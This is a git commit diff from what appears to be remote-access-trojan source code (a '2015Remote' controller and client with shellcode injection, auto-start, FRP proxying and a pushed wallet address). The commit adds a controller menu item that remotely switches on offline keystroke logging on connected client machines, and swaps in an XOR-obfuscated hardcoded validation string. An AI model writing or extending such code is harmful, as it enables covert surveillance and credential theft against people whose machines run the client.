Feature: Add parameters setting menu for master program

This commit is contained in:
yuanyuanxiang
2025-11-27 23:00:20 +01:00
parent 36b7b86890
commit 3270527dd0
7 changed files with 30 additions and 3 deletions

View File

@@ -17,6 +17,7 @@
#include "IOCPKCPClient.h"
#include "auto_start.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
// UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect)
@@ -584,14 +585,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
break;
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
if (ulLength > MasterSettingsOldSize) {
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) {
pMgr->UpdateWallet(m_settings.WalletAddress);
}
if (m_settings.EnableKBLogger && m_hKeyboard) {
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
mgr->m_bIsOfflineRecord = TRUE;
}
}
break;
case COMMAND_KEYBOARD: { //键盘记录

View File

@@ -879,8 +879,12 @@ typedef struct MasterSettings {
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char WalletAddress[472]; // Wallets
int EnableKBLogger; // Since 2025-11-27
char Reserved[496]; // Since 2025-11-27
} MasterSettings;
#define MasterSettingsOldSize 500
#pragma pack(push, 1)
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
typedef struct DllExecuteInfo {

Binary file not shown.

View File

@@ -534,6 +534,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
END_MESSAGE_MAP()
@@ -1058,8 +1059,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
const Validation* v = GetValidation();
if (!(strlen(v->Admin) && v->Port > 0)) {
// IMPORTANT: For authorization only.
// NO NOT CHANGE: The program may not work if following code changed.
PrintableXORCipher cipher;
char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"};
char buf1[] = { "? &!x1:x<!{<6 " }, buf2[] = { 'a','a','f',0 };
cipher.process(buf1, strlen(buf1));
cipher.process(buf2, strlen(buf2));
static Validation test(99999, buf1, atoi(buf2));
@@ -1122,6 +1124,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -3913,3 +3918,13 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) {
MessageBoxA(CString("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION);
return S_OK;
}
void CMy2015RemoteDlg::OnParamKblogger()
{
m_settings.EnableKBLogger = !m_settings.EnableKBLogger;
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
SendMasterSettings(nullptr);
}

View File

@@ -357,4 +357,5 @@ public:
afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins();
afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger();
};

View File

@@ -3,6 +3,7 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
@@ -15,6 +16,7 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
</PropertyGroup>
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>

Binary file not shown.